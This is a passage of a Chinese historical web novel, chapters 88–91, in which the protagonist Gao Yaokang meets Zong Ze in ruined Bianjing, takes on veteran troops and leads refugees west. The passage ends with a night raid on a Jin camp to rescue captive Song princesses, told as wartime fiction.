高尧康看着那些人。
看了一会儿。
然后他转过身。
“走。往西。”
他往前走。
杨蓁跟上去。
陈东跟上去。
孙老头跟上去。
二千多人,跟着往前走。
雪还在下。落在他们身上。落在他们走过的路上。
天亮的时候,那些脚印,已经被雪盖住了。
好像从来没有人走过。
但那些人还在走。
往西。
第八十八章 初见宗泽
建炎元年三月。汴京。废墟。
高尧康趴在城外一处土坡上,看着那座城。
在接到宗泽留守东京的消息后,高尧康带着亲卫回来准备见他。
城墙还在。但城门没了——被烧了。城墙上头的楼也没了,塌了。城砖黑一块白一块,是火烧过的痕迹。
他盯着看了很久。手攥着地上的土,攥得指节发白。
杨蓁趴在他旁边,侧脸看他。
“进去吗?”
高尧康没接话。他眼睛还在城墙上。
“等天黑。”
他往后缩了缩,滑下土坡。
坡底下蹲着二百多人。王彦、刘实,还有从真定带回来的老兵。都穿着便装,脸上抹着泥。有人靠着树打盹,有人啃干饼,有人拿刀在地上划拉,不知道划什么。
王彦凑过来。
“怎么说?”
高尧康说:“晚上进。”
王彦点点头。没再问。他回头看了一眼那帮人,又转回来。
“你说,城里还能剩下啥?”
高尧康没回答。
天黑下来。月亮没出来。云厚。
高尧康带着人,摸到城墙根底下。
城墙上头,有火把晃了一下。又晃了一下。
没人。
他等了一会儿。继续走。
翻过城墙,里头是一片废墟。
原来这里是甜水巷。高尧康打过的地方。**队在这儿放过三轮,打死三十多骑金兵。
现在什么都没了。
他站在废墟里,往四周看。房子塌了。墙倒了。街上看不见一间完整的屋子。只有黑乎乎的框架,歪着,斜着,戳在那儿。像**。
有人在废墟里走。不是金兵。是野狗。瘦得皮包骨,眼睛发绿。看见人,跑了。
高尧康认了认方向。
“走。”
东京留守司衙门在城西南。原来是个大院子。现在门没了,墙塌了一半。但里头有光。
灯光。很暗。从窗户缝里透出来。
高尧康让王彦带着人散开。自己和杨蓁走过去。
门口站着两个兵。穿着宋军的衣裳,旧了,破了,但洗得干净。看见有人来,手按在刀上。
“站住。什么人?”
高尧康说:“高尧康。求见宗留守。”
那两个兵愣了一下。互相看了一眼。
一个说:“你就是高尧康?”
高尧康说:“是。”
那兵又看了他一眼。从上到下,从脸到脚。然后转身,往里跑。
过了一会儿,门开了。
一个人站在门口。
六十多岁。瘦,高,腰挺得直。脸上全是褶子,眼窝深陷,但眼睛很亮。穿着官服,旧的,洗得发白了,但穿得整整齐齐。
他看着高尧康。看了很久。
高尧康也在看他。看那身洗得发白的官服,看那双陷进去但亮得吓人的眼睛。
然后宗泽往前走了一步。伸出手。
“高尧康。”
高尧康握住那只手。
手枯瘦如柴。但很有力。像铁。
“宗留守。”
宗泽拉着他,往里走。
“进来。”
屋里很简陋。一张桌子,几把椅子,一张床。墙上挂着一幅地图。桌上摆着几摞文书。灯是油灯,捻子拨得低,火苗只有豆大。
宗泽让他坐下。杨蓁站在他身后。
宗泽看着杨蓁。
“这是?”
高尧康说:“我妻子。杨蓁。土门关打过仗。”
宗泽点点头。
“好。好。”他顿了顿,“巾帼英雄。”
杨蓁抱拳。
“宗留守。”
宗泽又看着高尧康。看了很久。
然后他从怀里掏出一封信。放在桌上。
“李纲写给我的。”
高尧康接过来。看。
信不长。但字字有力。写的是真定的事,土门关的事,汴京守城的事。最后几句是:
“高尧康者,擎天之材。老夫平生阅人无数,此子为最。若他日北上中原,非此人不可。望公与之携手,共图大业。”
高尧康把信折起来。放回桌上。
宗泽看着他。
“李伯纪从不轻易夸人。”
高尧康说:“李公过誉了。”
宗泽摇摇头。
“不过誉。”他盯着高尧康,“他这辈子夸过的人,两只手数得过来。夸成这样的,就你一个。”
高尧康没说话。
宗泽站起来。走到墙边,看着那张地图。
汴京的位置,被人用红笔圈了一圈。
“汴京破了。二帝被俘了。新官家在南京登基。金兵退了,但还会来。”他转过身,看着高尧康,“你知道我为什么还在这儿吗?”
高尧康说:“守。”
宗泽点点头。
“对。守。守给谁看?”他走回来,坐下,声音放低了,“守给金人看?他们巴不得我滚。守给咱们自己人看——让他们知道,大宋还有人在守城。”
他顿了顿,苦笑了一下。
“新官家让我撤。撤到南京去。说我年纪大了,别在这儿熬了。”他看着高尧康,“你知道我怎么回的吗?”
高尧康摇头。
宗泽说:“我说,老臣不死,金人不敢南顾。”
他说这句话的时候,声音很平。但高尧康听出了那话里的东西。
他忽然觉得,眼前这个人,像一棵树。一棵立了很多年、被风吹雨打、但死活不肯倒的树。
宗泽看着他。
“你的事,我都知道。李纲说了。张叔夜也说了。成都路府安抚使,是新官家给你的。张叔夜保荐的。”
他从桌上拿起一张纸。递给他。
是圣旨。盖着御宝。写着“成都路府安抚使高尧康”几个字。
高尧康看着那张纸。看了很久。
然后他放下。
“空头衔。”
宗泽笑了。
那笑容很短。但确实是笑。
“对。空头衔。没兵,没钱,没粮。就一个名字。”
他看着高尧康。
“但这个空头衔,到了蜀地,就是实打实的。你能招兵。能练兵。能管事。能说了算。”
高尧康点点头。
“我知道。”
宗泽看着他。
“你真要去蜀地?”
“嗯。”
“为什么?”
高尧康说:“那儿安全。有山,有粮,有铁。能练兵,能造器,能等。”
宗泽说:“等什么?”
高尧康说:“等机会。”
宗泽沉默了一会儿。
他站起来。走到门口。对外头喊了一声。
“把人带进来。”
门开了。进来几个人。
领头的是个中年人。瘦,黑,脸上有刀疤。穿着破旧的军服,但站得直。后头跟着几个人,都差不多——一看就是老兵。眼睛里那种东西,装不出来。
领头那人走到高尧康面前。抱拳。
“末将呼延通。原东京留守司统制。”
高尧康站起来。还礼。
“高尧康。”
呼延通看着他。眼睛里有东西——不是打量,是掂量。
“高都指,听说过你。真定府。土门关。汴京巷战。”他顿了顿,“末将愿意跟你走。”
高尧康愣住了。
他看着呼延通。又看着后头那些人。
“多少人?”
呼延通说:“两千三百人。都是打过硬仗的。有从太原退下来的,有从真定跑出来的,有汴京守城活下来的。还有……”
他顿了顿。
“还有一百多个,是原先跟着岳飞的。”
高尧康愣了一下。
“岳飞?”
呼延通点点头。
“岳统制。去年在开封打过仗。后来去了河北。走之前,留下些人
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。说让咱们等着,他会回来。”
他苦笑了一下。
“现在也不知道他在哪儿。”
高尧康沉默了一会儿。
他看着那些人。那些脸上有疤、眼里有光的人。那些人也在看他。有人抱着胳膊,有人叉着腰,有人手按在刀柄上。但眼睛都在他身上。
“你们愿意跟我去蜀地?”
呼延通说:“愿意。”
后头那些人,一起抱拳。
“愿意跟高都指走。”
声音不齐,但齐刷刷的。
高尧康看着他们。看了很久。
然后他点点头。
“好。”
他没说别的。但就这一个字,那些人听着,脸上绷着的东西,松了一点。
宗泽在旁边看着。忽然开口。
“呼延通,你知道你跟着去的是什么地方吗?”
呼延通说:“蜀地。”
宗泽说:“蜀地远。蜀地偏。去了,可能一辈子回不来。”
呼延通看着他。
“宗留守,末将从太原退下来的时候,就没想过回来。从真定跑出来的时候,也没想过。从汴京城里爬出来的时候,更没想过。”
他顿了顿。
“但末将想过一件事——想过有一天,能打回去。”
他看着高尧康。
“高都指要等机会。末将就跟着等。等到那一天,一起打回去。”
高尧康没说话。他只是看着呼延通。
过了一会儿,他忽然问:“你脸上那道疤,怎么来的?”
呼延通摸了一下脸。
“太原。金兵刀砍的。差一点把脑袋削了。”
高尧康说:“疼吗?”
呼延通愣了一下。然后笑了。
“那时候顾不上疼。后来疼。疼了半年。”
高尧康点点头。
“留着。别遮。”
呼延通又愣了一下。
“为什么?”
高尧康说:“给新兵看。让他们知道,打仗不是闹着玩的。”
呼延通看着他。忽然咧嘴笑了。
“成。留着。”
那天夜里,高尧康没睡。
他坐在留守司衙门后院的台阶上,看着北边。
北边是汴京的方向。天边上,有红光。不知道是火把,还是月亮要出来。
杨蓁走过来,坐在他旁边。
“睡不着?”
高尧康说:“嗯。”
杨蓁说:“想什么呢?”
高尧康沉默了一会儿。
“想那些野狗。”
杨蓁愣了一下。
“野狗?”
高尧康说:“进城的时候,看见的。瘦成那样,眼睛发绿,还在废墟里翻。找吃的。”
他看着北边。
“人也一样。”
杨蓁看着他。
“你想说什么?”
高尧康说:“活下去。不容易。”
杨蓁没说话。她握住他的手。
过了一会儿,高尧康忽然说:“那个呼延通,你说他图什么?”
杨蓁说:“图打回去呗。”
高尧康摇摇头。
“两千多人。跟我去蜀地。蜀地那么远。万一回不来呢?万一等不到呢?万一等到了,打不赢呢?”
他看着杨蓁。
“他们图什么?”
杨蓁看着他。
“图你。”
杨蓁说:“他们听说了你的事。真定府,土门关,汴京城里那几场仗。他们觉得,跟着你,有盼头。”
她握紧他的手。
“就像我一样。”
高尧康没说话。
他看着北边。看着那片红光。
过了很久,他说:“我怕他们失望。”
杨蓁说:“那就别让他们失望。”
高尧康转过头,看着她。
杨蓁说:“你从来不是一个人。你带着他们。他们也带着你。”
高尧康沉默了一会儿。
然后他点点头。
第八十九章 勿望中原
第二天。天还没亮透。
高尧康坐在后院台阶上,手里攥着那块铜牌,翻来覆去地看。“宗”字刻得深,边角磨得发亮,一看就是经常被人摸的。
脚步声从身后传来。
宗泽走过来,在他旁边坐下。动作很慢,扶着膝盖,一点一点往下蹲。蹲到底,喘了口气。
“老了。”他说,“以前上马都不带扶的。”
高尧康要把铜牌还给他。
宗泽摆摆手。
“你留着。”
高尧康说:“这是你的信物。”
宗泽笑了。
“信物?我这张老脸就是信物。”他指了指自己的脸,“往那一站,谁不认识?用不着牌子。”
他看着高尧康手里的铜牌。
“这牌子跟了我十二年。河北、河东、开封府,走哪带哪。那些义军头子,见牌如见我。”
他顿了顿。
“以后,见牌如见你。”
高尧康握紧那块牌子。
“宗留守,你把人给我了,牌子也给我了,你怎么办?”
宗泽没回答。他看着院子里的那棵槐树。叶子还没长出来,光秃秃的。
“这树,是我来那年种的。三年了。”
他忽然说。
高尧康顺着他的目光看过去。
一棵槐树。碗口粗。树干上有个疤,被人砍过一刀。
宗泽说:“金兵进城那天,有个金兵拿刀砍的。砍完就走了。嫌它不够粗,当不了柴烧。”
他笑了一下。
“跟我一样。老,瘦,不顶用。但还活着。”
高尧康没说话。
宗泽转过头,看着他。
“你问我,人给我了,我怎么办。”
高尧康点点头。
宗泽说:“我守城。”
“守得住吗?”
“守不住。”
“那为什么守?”
宗泽沉默了一会儿。
然后他说:“你知道这城里现在还剩多少人吗?”
高尧康摇头。
宗泽说:“三万多人。老弱妇孺。走不动的,不想走的,没地方去的。”他顿了顿,“他们都看着我。”
他看着高尧康。
“我要是走了,他们怎么办?”
高尧康没说话。
宗泽说:“守不住也得守。守一天,金兵就不敢来。守一个月,金兵就得掂量掂量。守一年……”
他笑了一下。
“守一年,说不定你就打回来了。”
他从怀里掏出那个小布包。昨晚给高尧康看过的那个。写满名字的纸。
“这些义军,昨天跟你说了。王善、丁进、杨进、李成……”
他一张一张翻着。
“王善,河北人。原来是种师道的部下。种师道**,他拉了一千多人上山。打过十七仗,杀了二百多金兵。”
“丁进,河东人。铁匠出身。自己造刀,自己造弓。手下三千人,一半是他徒弟。”
“杨进……这小子年轻,才二十五。但狠。去年冬天,带着三十个人,摸进金兵大营,烧了三十万斤粮草。跑出来的时候,身上中了七刀。没死。”
他抬起头,看着高尧康。
“这些人,都是好样的。但他们缺什么?缺一个领头的人。”
他把那些纸收起来。递给高尧康。
“你去了蜀地,不是光练兵。你要让这些人知道,有人在等他们。有人会回来。有人会带着他们打回去。”
高尧康接过那些纸。
一张一张,看了一遍。
然后他抬起头。
“宗留守,我记着了。”
宗泽看着他。
看了一会儿。
忽然说:“你那个‘敌后游击根据地’,再给老夫掰扯掰扯。”
高尧康愣了一下。
宗泽说:“昨晚你说得简略。今天没事,细说说。”
高尧康沉默了一会儿。然后开口。
“金兵厉害,但人少。他们占了城,就得留人守。守的人多了,打仗的人就少。守的人少了,咱们就能打。”
“咱们不打大仗。就派小股人,三五个人,十几个人,摸进去。今天烧一个粮堆,明天杀几个哨兵,后天劫一队运粮的。”
“他们追,咱们就跑。他们不追,咱们再去。打一枪换一个地方。”
宗泽听得入神。
“打一枪换一个地方?”他重复了一遍,“这话有意思。”
高尧康说:“还有。老百姓恨金兵。金兵抢粮,糟蹋女人,**。老百姓想报仇,但没刀没枪。咱们去了,给他们刀,教他们打。”
“他们帮着看,帮着送信,帮着藏人。金兵想找咱们,找不到。咱们想打金兵,一打一个准。”
宗泽沉默了一会儿。
然后他忽然问:“你这套打法,跟谁学的?”
高尧康说:“自己想出来的。”
宗泽看着他。
看了很久。
然后他笑了。
“自己想出来的?”他摇摇头,“你知不知道,老夫打了四十年仗,才琢磨出一点门道。你才多大?二十几?”
高尧康说:“二十六。”
宗泽说:“二十六。自己想出来的。”
他又笑了。
这次笑得很响。
“李纲说得对。你就是擎天之材。”
他站起来。走到槐树跟前。摸着那道刀疤。
“你这套打法,在蜀地练。练熟了,派人来教给这些义军。”他指了指那些纸,“让他们也这么打。”
他转过身,看着高尧康。
“南北呼应。你在后头搅,我在前头挡。搅得金兵睡不着觉,挡得金兵过不来。等到有一天……”
他顿了顿。
“等到有一天,你从西边打出来,我从东边打出去。两下夹击,收复中原。”
他说这句话的时候,眼睛亮得吓人。
高尧康站起来。
站在他面前。
“宗留守。”
“嗯?”
“你信我能打回来?”
宗泽看着他。
“信。”
就一个字。
高尧康沉默了一会儿。
然后他说:“那我就打回来。”
那天上午,阳光很好。
高尧康和宗泽坐在院子里,聊了一上午。
从义军聊到地形,从地形聊到粮道,从粮道聊到怎么打埋伏,怎么设陷阱,怎么用火攻,怎么在水里下毒。
宗泽话多。一说起打仗,就停不下来。他讲太原之战,讲真定之战,讲汴京保卫战。讲种师道怎么用兵,讲李纲怎么守城,讲张叔夜怎么突围。
高尧康话少。但每一句都在点子上。宗泽问什么,他答什么。有时候宗泽问得深了,他就多说几句。说完,又闭上嘴。
杨蓁端茶过来的时候,看见两个人坐在那儿,一个说,一个听。说的那个手舞足蹈,听的那个一动不动。
她把茶放在旁边。
宗泽端起来喝了一口。
“好茶。”他说。
杨蓁说:“不好。路上买的散茶。”
宗泽笑了。
“实诚。”他看着杨蓁,“你跟着他打仗?”
杨蓁说:“跟着。”
宗泽说:“怕不怕?”
杨蓁说:“怕过。”
宗泽说:“现在呢?”
杨蓁看了一眼高尧康。
“他在,就不怕。”
宗泽愣了一下。
然后他哈哈大笑。
笑完了,他看着高尧康。
“你小子,有福气。”
高尧康没说话。但他嘴角动了一下。
那天下午,高尧康准备走了。
四千多人,在城外等着。呼延通已经把队伍整顿好了。该带的带,该扔的扔。
宗泽送到门口。<
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br>还是那身洗得发白的官服。还是那两个人高马大的兵。
他看着高尧康。
“还有一句话。”
高尧康说:“请讲。”
宗泽说:“到了蜀地,别急着打。”
高尧康愣了一下。
宗泽说:“练兵。攒粮。造器。等。等到金兵疲了,等到他们忘了疼了,等到他们以为大宋没人了。”
他顿了顿。
“那时候,再动手。”
高尧康点点头。
“记住了。”
宗泽又说:“还有一句。”
“请讲。”
宗泽说:“活着。”
他看着高尧康。
“活着回来。带着他们活着回来。”
高尧康看着他。
看着那双眼睛。
那双眼睛里有火。七十岁了,还有火。
他说:“宗留守,你也活着。”
宗泽笑了。
“我?”他摇摇头,“我活不了几年了。但在这之前……”
他挺直了腰。
“金兵不会那么**黄河。”
高尧康看着他。
然后他往后退了一步。
抱拳。
深深一揖。
宗泽也抱拳。
还礼。
高尧康直起身。转身。往前走。
走了几步,他忽然停下来。
他转过身。
宗泽还站在门口。那件旧官服,在阳光下,白得晃眼。
高尧康说:“宗留守。”
宗泽说:“嗯?”
高尧康说:“你那棵树。”
宗泽愣了一下。
“什么树?”
高尧康说:“槐树。会活下来的。”
宗泽看着他。
看了很久。
然后他笑了。
“走吧。”他说。
高尧康转身。
走了。
这一次,他没回头。
城外。
四千多人,排成一条长龙。
呼延通站在最前头。看见高尧康来了,跑过来。
“高都指,都准备好了。”
高尧康点点头。
他站在土坡上,看着那些人。
有兵。有工匠。有书生。有女人。有孩子。
有的在说话,有的在发呆,有的在啃干饼。
他看着他们。
看了很久。
然后他开口。
“走。”
就往西。
队伍动起来。
杨蓁走在他旁边。
呼延通走在最前头。
王彦跟在呼延通后头,还在跟他说话。说真定的事,说土门关的事,说着说着又开始比划。
陈东带着太学生,走在中间。他们在背诗。背的还是杜甫。
“烽火连三月,家书抵万金……”
背到“白头搔更短”的时候,又有人哭了。陈东回头骂了一句。那人擦了眼泪,继续背。
孙老头带着工匠,走在后头。他还是背着那包工具。走几步,歇一下。有年轻人要帮他背,他还是不让。
“这是吃饭的家伙。我自己背。”
高尧康走着走着,从怀里掏出那块铜牌。
“宗”字。
他看了一会儿。
然后收起来。
揣进怀里。
杨蓁说:“想什么呢?”
高尧康说:“想那个老头。”
杨蓁说:“宗留守?”
高尧康说:“嗯。”
杨蓁说:“他会死吗?”
高尧康沉默了一会儿。
“会。”
杨蓁没说话。
高尧康说:“但在这之前,他会一直守着。”
他转过头,看着北边。
汴京的方向。
天边有云。灰白色的云。云下面,是那座城。城里面,有个穿旧官服的老头,站在一棵被刀砍过的槐树底下。
他看了一会儿。
然后转过身。
继续走。
往西。
第九十章 龙潭虎穴
建炎元年四月。颍昌府境内。山路。
队伍拉得很长。五千多人,拖成一条线,在山沟里慢慢挪。像一条受伤的蛇,走一步,歇三步。
高尧康站在一块石头上,往后看。
后头的山梁上,有烟。
不是炊烟。是狼烟。金兵的狼烟。
他眯着眼看了会儿,没说话。手按在刀柄上,指节攥得发白。
王彦跑过来。浑身是汗,脸上黑一道白一道,跟花猫似的。
“又来了!两百多骑!离咱们不到三十里!”他喘得厉害,手撑着膝盖,“这帮孙子,跟狗皮膏药似的,甩都甩不掉!”
高尧康没说话。他看着前头的队伍。
老人,孩子,女人,工匠,书生,伤兵。走不快。怎么也走不快。有个老太太走不动了,两个人架着,脚在地上拖。有个孩子哭,他妈捂着孩子的嘴,怕声音传出去。
呼延通走过来。站在他旁边。
“高都指,这么走下去不行。”呼延通声音压得很低,但每个字都砸在地上,“金兵跟了一路了。今天袭一下,明天扰一下。他们马快,咱们人多。迟早被他们拖死。”
高尧康看着他。
“你想说什么?”
呼延通说:“得有人殿后。斩尾巴。”他说这话的时候,脸上那道疤抽了一下,“我带人去。”
高尧康沉默了一会儿。
然后他从石头上跳下来。
“王彦。”
“在。”
“你去前头,跟杨蓁说。让她带着队伍继续走。往西。别停。”
王彦愣了一下。
“你呢?”
高尧康说:“我带人殿后。”
王彦看着他。嘴张了张,又闭上。再张开:“你……你是主将!”
高尧康说:“所以我来。”
王彦急了:“不是,你听我说——”
高尧康摆摆手。
“快去。”
王彦站着不动。
高尧康看着他。就看着。
三秒后,王彦扭头跑了。
呼延通站在旁边。
“高都指,我跟你去。”
高尧康点点头。
“挑人。要能打的。要带神机**和**的。”
呼延通抱拳。
“是。”
五百人,从队伍里分出来。
全是老兵。真定带出来的,汴京收拢的,宗泽给的。脸上都有疤,眼里都有光。每人一把刀,一张**。**队带了三百支枪,**带足了。
高尧康站在他们面前。
“后头有金兵。两百多骑。跟着咱们一路了。”
他看着那些人。
“咱们不走了。回头打他们。”
没人说话。
“打完了,咱们再追上去。追不上,就不追。”他顿了顿,“但得让他们知道,跟着咱们,得掉层皮。”
有人笑了。
是个三十来岁的汉子,脸上从眉毛到下巴一道刀疤,笑起来疤跟着动,挺吓人。他旁边的人捅了他一下,他憋住,但肩膀还在抖。
高尧康看着他。
“笑什么?”
那汉子说:“笑这帮金兵倒霉。”他指了指自己的脸,“我这道疤,就是他们砍的。一直想还回去。”
高尧康点点头。
“那今天还。”
那汉子愣了一下。然后咧嘴笑了。
“成!”
高尧康转身。
“走。”
回头。
当天下午,他们撞上那拨金兵。
两百多骑。正在一处山坳里休息。马拴着,人躺着。有的在睡觉,有的在吃东西。盔甲卸了,刀扔一边。有个金兵裤子褪到膝盖,蹲在草丛里拉屎,嘴里还哼着调。
他们不知道宋军会回头。
高尧康带着人,从两边山坡上摸过去。脚底下踩着落叶,沙沙响。每个人弯着腰,像一群猫。
神机**。三百张。对着底下。
高尧康举起手。往下一切。
嗖嗖嗖嗖嗖——
箭雨下去。底下炸了锅。
有人跳起来,还没站稳,就被射倒。有人去摸刀,摸不到。有人往马那边跑,马惊了,乱跑乱踩。那个拉屎的金兵提着裤子站起来,刚跑两步,一箭钉在屁股上,嗷一嗓子扑倒在地。
**队冲下去。
轰轰轰轰轰。
白烟腾起来。烟散了,底下没几个站着的了。
活的往山外跑。跑得比马还快。
呼延通追出去几步。又停住。回来。
他看着那些尸体。那些扔了一地的刀枪盔甲。忽然说:
“高都指。”
高尧康走过来。
呼延通说:“要是现在再给我一万人,我能把失地都收回来。”他眼睛发亮,“就这打法,再来几回,金兵得做噩梦。”
高尧康没说话。
他看着那些逃跑的金兵。看着那些扔下的东西。脸上没什么表情。
“走吧。打扫一下。有用的带上。”
他们打扫战场。
刀。枪。箭。马。有二十几匹马没跑,在那儿站着,直喘气,鼻孔张得老大。
高尧康让人把马牵上。把刀枪捆上。把金兵的衣裳扒了,扔一边。
有人在一具尸体旁边蹲着。
是高尧康手下一个老兵,姓郑。外号
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郑三。四十多岁,长得跟树墩子似的,又矮又壮。他在那儿蹲了半天,忽然抬起头。
“高都指!这儿有个人!还活着!”
高尧康走过去。
地上躺着个人。年轻。二十出头。穿着太监的衣裳,脏得看不出颜色。浑身是血,不知道是自己的还是别人的。
郑三把他翻过来。动作很轻,像翻个瓷瓶。
那人脸上没血色。嘴唇干裂着,裂口里渗出血。眼睛半睁半闭。看见高尧康,他忽然动了一下。
手在怀里掏。掏了半天。掏出一块布。
沾血的。皱巴巴的。绢布。
他递给高尧康。
手在抖。抖得厉害。
高尧康接过来。
那人张嘴。声音小得几乎听不见。
“高……高将军……”
高尧康愣住了。
“你认识我?”
那人点点头。又摇摇头。嘴在动,凑近了才能听清。
“救……救她们……帝姬……王妃……被掳走了……路线……在……在布上……”
他喘了几口气。每喘一口,胸口就起伏一下,很费劲。眼睛瞪得老大,瞪着高尧康,像要把人刻进去。
“高将军……救……”
眼睛里的光散了。
高尧康蹲在那儿。看着那个人。
不认识。从来没见过。
但这人拼了命,从金兵大营里跑出来,把这块布送出来。跑了多远?不知道。中了多少刀?不知道。就凭一口气,撑到这儿。
高尧康伸手,把他眼睛合上。
“叫什么?”他问。
没人知道。
郑三说:“身上没东西。就这块布。”
高尧康点点头。站起来。
他把布展开。
上头写着字。密密麻麻。有的被血糊住了,看不清。但能看清的部分——
“茂德帝姬……华福帝姬……惠福帝姬……”
一串名字。都是帝姬。都是王妃。
后头写着路线。什么方向,什么时辰,走哪条路。
再后头写着一个地名。
刘家寺。
高尧康看着那个地名。
刘家寺。他知道。金兵的大营。六万人扎在那儿。从汴京掳来的人,都关在那儿。
他把布折起来。收进怀里。
呼延通走过来。
“高都指?”
高尧康说:“呼延通。”
“在。”
“敢不敢跟我闯一闯龙潭虎穴?”
呼延通愣了一下。
然后他笑了。脸上那道疤跟着动,像条蜈蚣爬。
“敢。”他说,“怎么个闯法?”
第九十一章 杀贼杀贼
子时。月亮被云糊**。
刘家寺大营里,火把还亮着,跟鬼火似的。声音小了——喝酒的喝成死猪,唱歌的哑了嗓子,那些哭了一天的,也哭不动了。
高尧康蹲在林子边上,盯着前头的栅栏。
一人多高,木头扎的。看起来挺唬人,其实就那样。
他回头看了一眼身后的人。二百个,全趴在地上,跟**似的。
“都记住了,”他压着嗓子,“进去别吭声,见人就砍,砍完就跑。谁他妈喊一嗓子,我把他脑袋拧下来。”
没人笑。
他也没指望有人笑。
“走。”
有人翻过去。往里探了探头,回头打了个手势——空的。
二百号人翻进去。
里头是帐篷,一排一排,跟坟包似的。有的亮着灯,有的黑着。远处偶尔晃过几个人影,提着枪巡逻,懒洋洋的,跟溜达似的。
哭声。
从一座帐篷里传出来。
很轻。但听得见。那种憋着不敢大声哭的动静。
高尧康一抬手,队伍停下。他摸过去,贴着帐篷听。
里头有声音。女真话。男人的笑,笑得跟公鸭似的。还有女人的哭声,不是一个,是三四个挤在一起的那种。
他拔刀。
刀没开刃——不是忘了,是他故意的。开刃的刀捅进去太顺溜,他今天想让那几个王八蛋多疼一会儿。
帐篷一角挑开。
往里看。
三个女人,被绑着,缩在角落里跟鹌鹑似的。衣裳撕得跟抹布似的,头发散着,脸上又是泪又是泥又是血印子。
旁边站着俩金兵,背对着他,正端着碗喝酒。
高尧康钻进去。
脚下一点声没有。
第一个金兵正仰脖子喝酒,后腰一凉,低头一看,一截刀尖从肚子前面冒出来。他想喊,嗓子眼里只冒出一股血沫子。
第二个回头,嘴刚张开,刀就从脖子上抹过去了。血喷出来,喷在帐篷上,跟杀猪似的。
两个金兵倒下去,砸在地上,闷响。
角落里的女人抬起头。
看见他。看见他身上的宋军衣裳。愣了。
一个年轻点的,嘴唇哆嗦了半天,挤出一句:
“你……你是宋军?”
高尧康甩了**上的血:“不然呢?金兵长我这样?”
那女人眼泪下来了。
旁边那个年纪大点的,一把拉住她,盯着高尧康,眼睛里头有光在晃:
“你是谁?”
“高尧康。新军都指挥使。”
那女人愣了一下,嘴里念叨了两遍,忽然眼睛睁大了:
“高尧康……我听过的……土门关那个……”
她猛地爬起来,膝盖一弯,扑通就跪下了:
“求你……求求你……救救我妹妹……她是帝姬……赵圆珠……她才十六……”
高尧康一把把她拽起来:
“别跪。一起走。都走。”
他往外头打了个手势,几个人钻进来,把那三个女人架出去。
高尧康问:“其他人呢?还有没有?”
年纪大点的那个女人咬着嘴唇,点了下头,又摇了摇:
“有……分开关的……有的被……被那些将军弄到自己帐里去了……”
她说不下去了。嘴唇咬出血了。
高尧康沉默了一会儿。
“知道在哪儿吗?”
她点点头。
“知道。我带你去。”
外头忽然亮了。
东边。火光冲天,把半边天烧得跟晚霞似的。
喊声炸开了锅。金兵的喊,乱成一团,跟捅了马蜂窝一样。
呼延通动手了。
高尧康一摆手:“走。”
她带路,在帐篷之间钻来钻去,跟泥鳅似的。绕过几排帐篷,躲过几队跑过去的金兵,钻进一条窄道。
前头一座帐篷,比别的大一圈,亮着灯。
她指着那座帐篷,手在抖:
“那是完颜宗望的弟弟……完颜窝鲁观的帐子……他把两个帝姬弄进去了……赵赛月……还有一个……”
高尧康看了一眼帐篷,又看了一眼她:
“你在这儿等着。”
她摇头:“我跟着。”
高尧康没再废话,带着人摸过去。
帐篷外头站着四个金兵,都仰着脖子看东边,那边火烧得跟过年似的,他们指指点点,叽里咕噜说着什么。
高尧康打了个手势。
十几个人摸上去,从背后靠近。
一刀一个。四个全倒了,跟砍瓜似的。最后一个嘴刚张开,就被一只手捂住脖子,一刀捅进去,只来得及蹬了两下腿。
高尧康掀开帐篷钻进去。
里头点着灯,一股酒味冲出来。一张大榻,榻上躺着个人——金将,喝得跟死猪似的,呼噜打得震天响。
地上蹲着两个女人,衣裳被撕得一条一条的,抱着膝盖缩成一团,跟两只受惊的兔子似的。看见他,她们瞪大眼睛,嘴张着,不敢出声,也不敢动。
高尧康走过去,蹲下。
“宋军。来救你们的。”
两个女人看着他,一动不动。
其中一个,年轻的,忽然哭了。
哭不出声。只是抖。浑身上下都在抖。
另一个拉住她,把她搂在怀里,盯着高尧康,嗓子眼里挤出一句话:
“你……你真的……”
高尧康懒得解释,一摆手:“走。”
他站起来,看了一眼榻上那个家伙。
那货还在睡,呼噜打得跟打雷似的,嘴角还挂着口水,不知道在做啥美梦。
高尧康盯着他看了两秒。
然后他转身,带着两个女人,往外走。
外头,那个带路的女人看见她们,眼泪唰就下来了。
“赛月……圆珠……”
那两个女人扑过去,三个人抱在一起,哭成一团,跟三只小猫似的。
高尧康一把拽开她们:“走。还没出去。想哭等到了地方再哭,哭死都行。”
他们往外撤。
东边的火烧得更大,半边天都红了。金兵全往那边跑,跟赶集似的,这边反而空了。
他们穿过几排帐篷,快到栅栏边了。
忽然有人喊。
女真话。听不懂,但听得出是骂人。
后头追来了。
高尧康回头。看见十几个金兵,举着火把,往这边追,跟疯狗似的。
“快走!翻过去!”
他们往栅栏跑。
一个女人跑在最后头。是那个带路的女人。她跑得一瘸一拐的,脚扭了。
高尧康回头,要去拉她。
一支箭飞过来。
射在她背上。
她往前踉跄了一下,没倒。又跑了一步。
第二支箭。射在腿上。她倒了。
高尧康冲回去。
她躺在地上,嘴里往外冒血,血沫子糊了一脸。眼睛看着他。
“带……带她们走……”
高尧康一把把她抱起来。
她摇头。使劲推他。
“别管我……带她们走……你答应我的……”
她看着他。眼睛里的光一点一点在散。
“答……答应我……”
高尧康说:“我答应你。”
她笑了。
笑得很好看。血从嘴角流下来。
眼睛闭上了。
高尧康把她放下。
站起来。
那两个帝姬在栅栏边,看着他。眼睛里全是泪。亮晶晶的。
他跑过去。
“走。”
他们翻出栅栏。
外头是黑林子。安全了。
他回头看了一眼。
大营里,火烧得跟过年似的。
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金兵在喊,在跑,在乱成一锅粥。
那个女人躺在帐篷边上。火光照着她。一动不动。
他转回头。
“走。”
他们跑进林子。
跑了很远。跑到听不见喊声了。才停下来。
高尧康靠着一棵树,喘气。肺都快炸了。
那二百人,还剩一百多个。有的在清点人数,有的在撕衣服包扎伤口。有的没回来。
呼延通从林子里钻出来,浑身黑得跟煤窑里爬出来似的,脸上全是灰,就俩眼珠子转。
“烧了。全他妈烧了。粮草烧得三天都吃不上,那帮孙子今晚上得饿着肚子哭。”
他凑过来,压低声音:
“人呢?”
高尧康说:“救了俩帝姬。还有几个宫女。”
呼延通愣了一下,嘴张了张,又闭上,又张开:
“就这些?”
高尧康没说话。
呼延通看了他一眼,没再问。
过了一会儿,他说:
“咱们的人,**五十几个。”
高尧康没说话。
呼延通说:“他们挡在后头,让咱们跑。有的……有的抱着**,冲进金兵堆里了……”
他说不下去了。嗓子眼里像堵了什么东西。
高尧康站了一会儿。
然后他转身,朝着大营的方向。
跪下。
磕了三个头。
站起来。
“走。”
那天夜里,完颜宗望站在大营中间,看着那些烧剩下的东西。
